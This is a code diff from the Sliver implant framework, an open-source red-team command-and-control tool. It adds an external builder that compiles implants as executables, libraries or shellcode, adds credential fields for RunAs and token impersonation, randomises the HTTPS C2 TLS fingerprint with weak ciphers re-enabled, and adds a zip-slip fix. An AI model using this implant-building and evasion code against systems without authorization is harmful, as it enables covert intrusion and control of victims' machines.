return nil, status.Errorf(codes.Unimplemented, "method Builders not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) Regenerate(context.Context, *clientpb.RegenerateReq) (*clientpb.Generate, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Regenerate not implemented")
|
||||
}
|
||||
@@ -2603,7 +2664,7 @@ func _SliverRPC_Generate_Handler(srv interface{}, ctx context.Context, dec func(
|
||||
}
|
||||
|
||||
func _SliverRPC_GenerateExternal_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(clientpb.GenerateReq)
|
||||
in := new(clientpb.ExternalGenerateReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -2615,7 +2676,7 @@ func _SliverRPC_GenerateExternal_Handler(srv interface{}, ctx context.Context, d
|
||||
FullMethod: "/rpcpb.SliverRPC/GenerateExternal",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).GenerateExternal(ctx, req.(*clientpb.GenerateReq))
|
||||
return srv.(SliverRPCServer).GenerateExternal(ctx, req.(*clientpb.ExternalGenerateReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
@@ -2656,6 +2717,63 @@ func _SliverRPC_GenerateExternalGetImplantConfig_Handler(srv interface{}, ctx co
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_BuilderRegister_Handler(srv interface{}, stream grpc.ServerStream) error {
|
||||
m := new(clientpb.Builder)
|
||||
if err := stream.RecvMsg(m); err != nil {
|
||||
return err
|
||||
}
|
||||
return srv.(SliverRPCServer).BuilderRegister(m, &sliverRPCBuilderRegisterServer{stream})
|
||||
}
|
||||
|
||||
type SliverRPC_BuilderRegisterServer interface {
|
||||
Send(*clientpb.Event) error
|
||||
grpc.ServerStream
|
||||
}
|
||||
|
||||
type sliverRPCBuilderRegisterServer struct {
|
||||
grpc.ServerStream
|
||||
}
|
||||
|
||||
func (x *sliverRPCBuilderRegisterServer) Send(m *clientpb.Event) error {
|
||||
return x.ServerStream.SendMsg(m)
|
||||
}
|
||||
|
||||
func _SliverRPC_BuilderTrigger_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(clientpb.Event)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).BuilderTrigger(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/BuilderTrigger",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).BuilderTrigger(ctx, req.(*clientpb.Event))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_Builders_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(commonpb.Empty)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).Builders(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/Builders",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).Builders(ctx, req.(*commonpb.Empty))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_Regenerate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(clientpb.RegenerateReq)
|
||||
if err := dec(in); err != nil {
|
||||
@@ -4504,6 +4622,14 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
||||
MethodName: "GenerateExternalGetImplantConfig",
|
||||
Handler: _SliverRPC_GenerateExternalGetImplantConfig_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "BuilderTrigger",
|
||||
Handler: _SliverRPC_BuilderTrigger_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "Builders",
|
||||
Handler: _SliverRPC_Builders_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "Regenerate",
|
||||
Handler: _SliverRPC_Regenerate_Handler,
|
||||
@@ -4866,6 +4992,11 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
||||
},
|
||||
},
|
||||
Streams: []grpc.StreamDesc{
|
||||
{
|
||||
StreamName: "BuilderRegister",
|
||||
Handler: _SliverRPC_BuilderRegister_Handler,
|
||||
ServerStreams: true,
|
||||
},
|
||||
{
|
||||
StreamName: "SocksProxy",
|
||||
Handler: _SliverRPC_SocksProxy_Handler,
|
||||
|
||||
+925
-872
File diff suppressed because it is too large.
Load diff
@@ -284,6 +284,10 @@ message RunAsReq {
|
||||
string Username = 1;
|
||||
string ProcessName = 2;
|
||||
string Args = 3;
|
||||
string Domain = 4;
|
||||
string Password = 5;
|
||||
bool HideWindow = 6;
|
||||
bool NetOnly = 7;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
@@ -340,6 +344,7 @@ message MakeTokenReq {
|
||||
string Username = 1;
|
||||
string Password = 2;
|
||||
string Domain = 3;
|
||||
uint32 LogonType = 4;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
+14
-34
@@ -24,7 +24,6 @@ import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
insecureRand "math/rand"
|
||||
"os"
|
||||
"os/user"
|
||||
@@ -80,7 +79,7 @@ func GetRootAppDir() string {
|
||||
|
||||
func assetVersion() string {
|
||||
appDir := GetRootAppDir()
|
||||
data, err := ioutil.ReadFile(path.Join(appDir, versionFileName))
|
||||
data, err := os.ReadFile(path.Join(appDir, versionFileName))
|
||||
if err != nil {
|
||||
setupLog.Infof("No version detected %s", err)
|
||||
return ""
|
||||
@@ -184,7 +183,7 @@ func setupGo(appDir string) error {
|
||||
|
||||
goZipPath := filepath.Join(appDir, "go.zip")
|
||||
defer os.Remove(goZipPath)
|
||||
ioutil.WriteFile(goZipPath, goZip, 0600)
|
||||
os.WriteFile(goZipPath, goZip, 0600)
|
||||
_, err = unzip(goZipPath, appDir)
|
||||
if err != nil {
|
||||
setupLog.Infof("Failed to unzip file %s -> %s", goZipPath, appDir)
|
||||
@@ -198,7 +197,7 @@ func setupGo(appDir string) error {
|
||||
}
|
||||
goSrcZipPath := filepath.Join(appDir, "src.zip")
|
||||
defer os.Remove(goSrcZipPath)
|
||||
ioutil.WriteFile(goSrcZipPath, goSrcZip, 0600)
|
||||
os.WriteFile(goSrcZipPath, goSrcZip, 0600)
|
||||
_, err = unzip(goSrcZipPath, goRootPath)
|
||||
if err != nil {
|
||||
setupLog.Infof("Failed to unzip file %s -> %s/go", goSrcZipPath, appDir)
|
||||
@@ -216,7 +215,7 @@ func setupGo(appDir string) error {
|
||||
return err
|
||||
}
|
||||
garbleLocalPath := filepath.Join(appDir, "go", "bin", garbleFileName)
|
||||
err = ioutil.WriteFile(garbleLocalPath, garbleFile, 0700)
|
||||
err = os.WriteFile(garbleLocalPath, garbleFile, 0700)
|
||||
if err != nil {
|
||||
setupLog.Errorf("Failed to write garble %s", err)
|
||||
return err
|
||||
@@ -260,8 +259,8 @@ func SetupGoPath(goPathSrc string) error {
|
||||
sliverpbGoSrc = stripSliverpb(sliverpbGoSrc)
|
||||
sliverpbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "sliverpb")
|
||||
os.MkdirAll(sliverpbDir, 0700)
|
||||
ioutil.WriteFile(filepath.Join(sliverpbDir, "sliver.pb.go"), sliverpbGoSrc, 0600)
|
||||
ioutil.WriteFile(filepath.Join(sliverpbDir, "constants.go"), sliverpbConstSrc, 0600)
|
||||
os.WriteFile(filepath.Join(sliverpbDir, "sliver.pb.go"), sliverpbGoSrc, 0600)
|
||||
os.WriteFile(filepath.Join(sliverpbDir, "constants.go"), sliverpbConstSrc, 0600)
|
||||
|
||||
// Common PB
|
||||
commonpbSrc, err := protobufs.FS.ReadFile("commonpb/common.pb.go")
|
||||
@@ -271,7 +270,7 @@ func SetupGoPath(goPathSrc string) error {
|
||||
}
|
||||
commonpbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "commonpb")
|
||||
os.MkdirAll(commonpbDir, 0700)
|
||||
ioutil.WriteFile(filepath.Join(commonpbDir, "common.pb.go"), commonpbSrc, 0600)
|
||||
os.WriteFile(filepath.Join(commonpbDir, "common.pb.go"), commonpbSrc, 0600)
|
||||
|
||||
// DNS PB
|
||||
dnspbSrc, err := protobufs.FS.ReadFile("dnspb/dns.pb.go")
|
||||
@@ -281,7 +280,7 @@ func SetupGoPath(goPathSrc string) error {
|
||||
}
|
||||
dnspbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "dnspb")
|
||||
os.MkdirAll(dnspbDir, 0700)
|
||||
ioutil.WriteFile(filepath.Join(dnspbDir, "dns.pb.go"), dnspbSrc, 0600)
|
||||
os.WriteFile(filepath.Join(dnspbDir, "dns.pb.go"), dnspbSrc, 0600)
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -307,28 +306,6 @@ func stripSliverpb(src []byte) []byte {
|
||||
return out
|
||||
}
|
||||
|
||||
func unzipGoDependency(fsPath string, targetPath string) error {
|
||||
setupLog.Infof("Unpacking go dependency %s -> %s", fsPath, targetPath)
|
||||
|
||||
appDir := GetRootAppDir()
|
||||
goDep, err := assetsFs.ReadFile(fsPath)
|
||||
if err != nil {
|
||||
setupLog.Infof("static asset not found: %s", fsPath)
|
||||
return err
|
||||
}
|
||||
|
||||
goDepZipPath := filepath.Join(appDir, filepath.Base(fsPath))
|
||||
defer os.Remove(goDepZipPath)
|
||||
ioutil.WriteFile(goDepZipPath, goDep, 0600)
|
||||
_, err = unzip(goDepZipPath, targetPath)
|
||||
if err != nil {
|
||||
setupLog.Infof("Failed to unzip file %s -> %s", goDepZipPath, appDir)
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func setupCodenames(appDir string) error {
|
||||
nouns, err := assetsFs.ReadFile("fs/nouns.txt")
|
||||
if err != nil {
|
||||
@@ -342,13 +319,13 @@ func setupCodenames(appDir string) error {
|
||||
return err
|
||||
}
|
||||
|
||||
err = ioutil.WriteFile(path.Join(appDir, "nouns.txt"), nouns, 0600)
|
||||
err = os.WriteFile(filepath.Join(appDir, "nouns.txt"), nouns, 0600)
|
||||
if err != nil {
|
||||
setupLog.Infof("Failed to write noun data to: %s", appDir)
|
||||
return err
|
||||
}
|
||||
|
||||
err = ioutil.WriteFile(path.Join(appDir, "adjectives.txt"), adjectives, 0600)
|
||||
err = os.WriteFile(filepath.Join(appDir, "adjectives.txt"), adjectives, 0600)
|
||||
if err != nil {
|
||||
setupLog.Infof("Failed to write adjective data to: %s", appDir)
|
||||
return err
|
||||
@@ -374,7 +351,10 @@ func unzip(src string, dest string) ([]string, error) {
|
||||
}
|
||||
defer rc.Close()
|
||||
|
||||
fPath := filepath.Join(dest, file.Name)
|
||||
fPath := filepath.Clean(filepath.Join(dest, file.Name))
|
||||
if !strings.HasPrefix(fPath, filepath.Clean(dest)) {
|
||||
panic("illegal zip file path")
|
||||
}
|
||||
filenames = append(filenames, fPath)
|
||||
|
||||
if file.FileInfo().IsDir() {
|
||||
|
||||
@@ -0,0 +1,250 @@
|
||||
package builder
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"os/signal"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/server/codenames"
|
||||
"github.com/bishopfox/sliver/server/generate"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
)
|
||||
|
||||
var (
|
||||
builderLog = log.NamedLogger("builder", "sliver")
|
||||
)
|
||||
|
||||
type Config struct {
|
||||
GOOSs []string
|
||||
GOARCHs []string
|
||||
Formats []clientpb.OutputFormat
|
||||
}
|
||||
|
||||
// StartBuilder - main entry point for the builder
|
||||
func StartBuilder(externalBuilder *clientpb.Builder, rpc rpcpb.SliverRPCClient) {
|
||||
|
||||
sigint := make(chan os.Signal, 1)
|
||||
signal.Notify(sigint, os.Interrupt)
|
||||
|
||||
builderLog.Infof("Attempting to register builder: %s", externalBuilder.Name)
|
||||
events, err := buildEvents(externalBuilder, rpc)
|
||||
if err != nil {
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// Wait for signal or builds
|
||||
for {
|
||||
select {
|
||||
case <-sigint:
|
||||
return
|
||||
case event := <-events:
|
||||
go handleBuildEvent(externalBuilder, event, rpc)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func buildEvents(externalBuilder *clientpb.Builder, rpc rpcpb.SliverRPCClient) (<-chan *clientpb.Event, error) {
|
||||
eventStream, err := rpc.BuilderRegister(context.Background(), externalBuilder)
|
||||
if err != nil {
|
||||
builderLog.Errorf("failed to register builder: %s", err)
|
||||
return nil, err
|
||||
}
|
||||
events := make(chan *clientpb.Event)
|
||||
go func() {
|
||||
for {
|
||||
event, err := eventStream.Recv()
|
||||
if err == io.EOF || event == nil {
|
||||
builderLog.Errorf("builder event stream closed")
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// Trigger event based on type
|
||||
switch event.EventType {
|
||||
case consts.ExternalBuildEvent:
|
||||
events <- event
|
||||
default:
|
||||
builderLog.Debugf("Ignore event (%s)", event.EventType)
|
||||
}
|
||||
}
|
||||
}()
|
||||
return events, nil
|
||||
}
|
||||
|
||||
// handleBuildEvent - Handle an individual build event
|
||||
func handleBuildEvent(externalBuilder *clientpb.Builder, event *clientpb.Event, rpc rpcpb.SliverRPCClient) {
|
||||
parts := strings.Split(string(event.Data), ":")
|
||||
if len(parts) < 2 {
|
||||
builderLog.Errorf("Invalid build event data '%s'", event.Data)
|
||||
return
|
||||
}
|
||||
builderName := strings.Join(parts[:len(parts)-1], ":")
|
||||
if builderName != externalBuilder.Name {
|
||||
builderLog.Debugf("This build event is for someone else (%s), ignoring", builderName)
|
||||
return
|
||||
}
|
||||
|
||||
implantConfigID := parts[1]
|
||||
builderLog.Infof("Build event for implant config id: %s", implantConfigID)
|
||||
extConfig, err := rpc.GenerateExternalGetImplantConfig(context.Background(), &clientpb.ImplantConfig{
|
||||
ID: implantConfigID,
|
||||
})
|
||||
if err != nil {
|
||||
builderLog.Errorf("Failed to get implant config: %s", err)
|
||||
rpc.BuilderTrigger(context.Background(), &clientpb.Event{
|
||||
EventType: consts.ExternalBuildFailedEvent,
|
||||
Data: []byte(fmt.Sprintf("%s:%s", implantConfigID, err.Error())),
|
||||
})
|
||||
return
|
||||
}
|
||||
if extConfig == nil {
|
||||
builderLog.Errorf("nil extConfig")
|
||||
rpc.BuilderTrigger(context.Background(), &clientpb.Event{
|
||||
EventType: consts.ExternalBuildFailedEvent,
|
||||
Data: []byte(fmt.Sprintf("%s:%s", implantConfigID, "nil external config")),
|
||||
})
|
||||
return
|
||||
}
|
||||
if !isSupportedTarget(externalBuilder.Targets, extConfig.Config) {
|
||||
builderLog.Warnf("Skipping event, unsupported target %s:%s/%s", extConfig.Config.Format, extConfig.Config.GOOS, extConfig.Config.GOARCH)
|
||||
rpc.BuilderTrigger(context.Background(), &clientpb.Event{
|
||||
EventType: consts.ExternalBuildFailedEvent,
|
||||
Data: []byte(
|
||||
fmt.Sprintf("%s:%s", implantConfigID, fmt.Sprintf("unsupported target %s:%s/%s", extConfig.Config.Format, extConfig.Config.GOOS, extConfig.Config.GOARCH)),
|
||||
),
|
||||
})
|
||||
return
|
||||
}
|
||||
if extConfig.Config.TemplateName != "sliver" {
|
||||
builderLog.Warnf("Reject event, unsupported template '%s'", extConfig.Config.TemplateName)
|
||||
rpc.BuilderTrigger(context.Background(), &clientpb.Event{
|
||||
EventType: consts.ExternalBuildFailedEvent,
|
||||
Data: []byte(fmt.Sprintf("%s:%s", implantConfigID, "Unsupported template")),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
if extConfig.Config.Name == "" {
|
||||
extConfig.Config.Name, _ = codenames.GetCodename()
|
||||
}
|
||||
err = util.AllowedName(extConfig.Config.Name)
|
||||
if err != nil {
|
||||
builderLog.Errorf("Invalid implant name: %s", err)
|
||||
rpc.BuilderTrigger(context.Background(), &clientpb.Event{
|
||||
EventType: consts.ExternalBuildFailedEvent,
|
||||
Data: []byte(fmt.Sprintf("%s:%s", implantConfigID, err.Error())),
|
||||
})
|
||||
return
|
||||
}
|
||||
_, extModel := generate.ImplantConfigFromProtobuf(extConfig.Config)
|
||||
|
||||
builderLog.Infof("Building %s for %s/%s (format: %s)", extConfig.Config.Name, extConfig.Config.GOOS, extConfig.Config.GOARCH, extConfig.Config.Format)
|
||||
builderLog.Infof(" [c2] mtls:%t wg:%t http/s:%t dns:%t", extModel.MTLSc2Enabled, extModel.WGc2Enabled, extModel.HTTPc2Enabled, extModel.DNSc2Enabled)
|
||||
builderLog.Infof("[pivots] tcp:%t named-pipe:%t", extModel.TCPPivotc2Enabled, extModel.NamePipec2Enabled)
|
||||
|
||||
rpc.BuilderTrigger(context.Background(), &clientpb.Event{
|
||||
EventType: consts.AcknowledgeBuildEvent,
|
||||
Data: []byte(implantConfigID),
|
||||
})
|
||||
|
||||
var fPath string
|
||||
switch extConfig.Config.Format {
|
||||
case clientpb.OutputFormat_SERVICE:
|
||||
fallthrough
|
||||
case clientpb.OutputFormat_EXECUTABLE:
|
||||
fPath, err = generate.SliverExecutable(extConfig.Config.Name, extConfig.OTPSecret, extModel, false)
|
||||
case clientpb.OutputFormat_SHARED_LIB:
|
||||
fPath, err = generate.SliverSharedLibrary(extConfig.Config.Name, extConfig.OTPSecret, extModel, false)
|
||||
case clientpb.OutputFormat_SHELLCODE:
|
||||
fPath, err = generate.SliverShellcode(extConfig.Config.Name, extConfig.OTPSecret, extModel, false)
|
||||
default:
|
||||
builderLog.Errorf("invalid output format: %s", extConfig.Config.Format)
|
||||
rpc.BuilderTrigger(context.Background(), &clientpb.Event{
|
||||
EventType: consts.ExternalBuildFailedEvent,
|
||||
Data: []byte(fmt.Sprintf("%s:%s", implantConfigID, err.Error())),
|
||||
})
|
||||
return
|
||||
}
|
||||
if err != nil {
|
||||
builderLog.Errorf("Failed to generate sliver: %s", err)
|
||||
rpc.BuilderTrigger(context.Background(), &clientpb.Event{
|
||||
EventType: consts.ExternalBuildFailedEvent,
|
||||
Data: []byte(fmt.Sprintf("%s:%s", implantConfigID, err.Error())),
|
||||
})
|
||||
return
|
||||
}
|
||||
builderLog.Infof("Build completed successfully: %s", fPath)
|
||||
|
||||
data, err := os.ReadFile(fPath)
|
||||
if err != nil {
|
||||
builderLog.Errorf("Failed to read generated sliver: %s", err)
|
||||
rpc.BuilderTrigger(context.Background(), &clientpb.Event{
|
||||
EventType: consts.ExternalBuildFailedEvent,
|
||||
Data: []byte(fmt.Sprintf("%s:%s", implantConfigID, err.Error())),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
fileName := filepath.Base(extConfig.Config.Name)
|
||||
if extConfig.Config.GOOS == "windows" {
|
||||
fileName += ".exe"
|
||||
}
|
||||
|
||||
builderLog.Infof("Uploading '%s' to server ...", extConfig.Config.Name)
|
||||
_, err = rpc.GenerateExternalSaveBuild(context.Background(), &clientpb.ExternalImplantBinary{
|
||||
Name: extConfig.Config.Name,
|
||||
ImplantConfigID: extConfig.Config.ID,
|
||||
File: &commonpb.File{
|
||||
Name: fileName,
|
||||
Data: data,
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
builderLog.Errorf("Failed to save build: %s", err)
|
||||
rpc.BuilderTrigger(context.Background(), &clientpb.Event{
|
||||
EventType: consts.ExternalBuildFailedEvent,
|
||||
Data: []byte(fmt.Sprintf("%s:%s", implantConfigID, err.Error())),
|
||||
})
|
||||
return
|
||||
}
|
||||
rpc.BuilderTrigger(context.Background(), &clientpb.Event{
|
||||
EventType: consts.ExternalBuildCompletedEvent,
|
||||
Data: []byte(fmt.Sprintf("%s:%s", implantConfigID, extConfig.Config.Name)),
|
||||
})
|
||||
builderLog.Infof("All done, built and saved %s", fileName)
|
||||
}
|
||||
|
||||
func isSupportedTarget(targets []*clientpb.CompilerTarget, config *clientpb.ImplantConfig) bool {
|
||||
for _, target := range targets {
|
||||
if target.GOOS == config.GOOS && target.GOARCH == config.GOARCH {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
+56
-26
@@ -47,6 +47,7 @@ import (
|
||||
sliverHandlers "github.com/bishopfox/sliver/server/handlers"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/bishopfox/sliver/server/website"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
|
||||
"github.com/gorilla/mux"
|
||||
@@ -255,11 +256,18 @@ func getHTTPSConfig(conf *HTTPServerConfig) *tls.Config {
|
||||
|
||||
// Randomize the JARM fingerprint
|
||||
switch insecureRand.Intn(4) {
|
||||
|
||||
// So it turns out that Windows by default
|
||||
// disables TLS v1.2 because it's horrible.
|
||||
// So anyways for compatibility we'll specify
|
||||
// a min of 1.1 or 1.0
|
||||
|
||||
case 0:
|
||||
// tlsConfig.MinVersion = tls.VersionTLS13
|
||||
fallthrough // For compatibility with winhttp
|
||||
case 1:
|
||||
tlsConfig.MinVersion = tls.VersionTLS12
|
||||
// tlsConfig.MinVersion = tls.VersionTLS12
|
||||
fallthrough // For compatibility with winhttp
|
||||
case 2:
|
||||
tlsConfig.MinVersion = tls.VersionTLS11
|
||||
default:
|
||||
@@ -268,28 +276,28 @@ func getHTTPSConfig(conf *HTTPServerConfig) *tls.Config {
|
||||
|
||||
// Randomize the cipher suites
|
||||
allCipherSuites := []uint16{
|
||||
// tls.TLS_RSA_WITH_RC4_128_SHA, //uint16 = 0x0005
|
||||
tls.TLS_RSA_WITH_3DES_EDE_CBC_SHA, //uint16 = 0x000a
|
||||
tls.TLS_RSA_WITH_AES_128_CBC_SHA, //uint16 = 0x002f
|
||||
tls.TLS_RSA_WITH_AES_256_CBC_SHA, //uint16 = 0x0035
|
||||
tls.TLS_RSA_WITH_AES_128_CBC_SHA256, //uint16 = 0x003c
|
||||
tls.TLS_RSA_WITH_AES_128_GCM_SHA256, //uint16 = 0x009c
|
||||
tls.TLS_RSA_WITH_AES_256_GCM_SHA384, //uint16 = 0x009d
|
||||
// tls.TLS_ECDHE_ECDSA_WITH_RC4_128_SHA, //uint16 = 0xc007
|
||||
tls.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, //uint16 = 0xc009
|
||||
tls.TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, //uint16 = 0xc00a
|
||||
// tls.TLS_ECDHE_RSA_WITH_RC4_128_SHA, //uint16 = 0xc011
|
||||
tls.TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA, //uint16 = 0xc012
|
||||
tls.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, //uint16 = 0xc013
|
||||
tls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, //uint16 = 0xc014
|
||||
tls.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, //uint16 = 0xc023
|
||||
tls.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, //uint16 = 0xc027
|
||||
tls.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, //uint16 = 0xc02f
|
||||
tls.TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, //uint16 = 0xc02b
|
||||
tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, //uint16 = 0xc030
|
||||
tls.TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, //uint16 = 0xc02c
|
||||
tls.TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256, //uint16 = 0xcca8
|
||||
tls.TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256, //uint16 = 0xcca9
|
||||
tls.TLS_RSA_WITH_RC4_128_SHA, //uint16 = 0x0005 1
|
||||
tls.TLS_RSA_WITH_3DES_EDE_CBC_SHA, //uint16 = 0x000a 2
|
||||
tls.TLS_RSA_WITH_AES_128_CBC_SHA, //uint16 = 0x002f 3
|
||||
tls.TLS_RSA_WITH_AES_256_CBC_SHA, //uint16 = 0x0035 4
|
||||
tls.TLS_RSA_WITH_AES_128_CBC_SHA256, //uint16 = 0x003c 5
|
||||
tls.TLS_RSA_WITH_AES_128_GCM_SHA256, //uint16 = 0x009c 6
|
||||
tls.TLS_RSA_WITH_AES_256_GCM_SHA384, //uint16 = 0x009d 7
|
||||
tls.TLS_ECDHE_ECDSA_WITH_RC4_128_SHA, //uint16 = 0xc007 8
|
||||
tls.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, //uint16 = 0xc009 9
|
||||
tls.TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, //uint16 = 0xc00a 10
|
||||
tls.TLS_ECDHE_RSA_WITH_RC4_128_SHA, //uint16 = 0xc011 11
|
||||
tls.TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA, //uint16 = 0xc012 12
|
||||
tls.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, //uint16 = 0xc013 13
|
||||
tls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, //uint16 = 0xc014 14
|
||||
tls.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, //uint16 = 0xc023 15
|
||||
tls.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, //uint16 = 0xc027 16
|
||||
tls.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, //uint16 = 0xc02f 17
|
||||
tls.TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, //uint16 = 0xc02b 18
|
||||
tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, //uint16 = 0xc030 19
|
||||
tls.TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, //uint16 = 0xc02c 20
|
||||
tls.TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256, //uint16 = 0xcca8 21
|
||||
tls.TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256, //uint16 = 0xcca9 22
|
||||
}
|
||||
// CipherSuites ignores the order of the ciphers, this random shuffle
|
||||
// is truncated resulting in a random selection from all ciphers
|
||||
@@ -299,6 +307,28 @@ func getHTTPSConfig(conf *HTTPServerConfig) *tls.Config {
|
||||
nCiphers := insecureRand.Intn(len(allCipherSuites)-8) + 8
|
||||
tlsConfig.CipherSuites = allCipherSuites[:nCiphers]
|
||||
|
||||
// Some TLS 1.2 stacks disable some of the older ciphers like RC4, so to ensure
|
||||
// compatibility we need to make sure we always choose at least one modern RSA
|
||||
// option.
|
||||
modernCiphers := []uint16{
|
||||
tls.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, //uint16 = 0xc027 16
|
||||
tls.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, //uint16 = 0xc02f 17
|
||||
tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, //uint16 = 0xc030 19
|
||||
tls.TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256, //uint16 = 0xcca8 21
|
||||
}
|
||||
|
||||
found := false
|
||||
for _, cipher := range tlsConfig.CipherSuites {
|
||||
if util.Contains(modernCiphers, cipher) {
|
||||
found = true // Our random selection contains a modern cipher, do nothing
|
||||
break
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
// We are lacking at least one modern RSA option, so randomly enable one
|
||||
tlsConfig.CipherSuites = append(tlsConfig.CipherSuites, modernCiphers[insecureRand.Intn(len(modernCiphers))])
|
||||
}
|
||||
|
||||
if certs.TLSKeyLogger != nil {
|
||||
tlsConfig.KeyLogWriter = certs.TLSKeyLogger
|
||||
}
|
||||
@@ -348,7 +378,7 @@ func (s *SliverHTTPC2) router() *mux.Router {
|
||||
// GET /fonts/Inter-Medium.woff/B64_ENCODED_PAYLOAD_UUID
|
||||
router.HandleFunc(
|
||||
fmt.Sprintf("/{rpath:.*\\.%s[/]{0,1}.*$}", c2Config.ImplantConfig.StagerFileExt),
|
||||
s.stagerHander,
|
||||
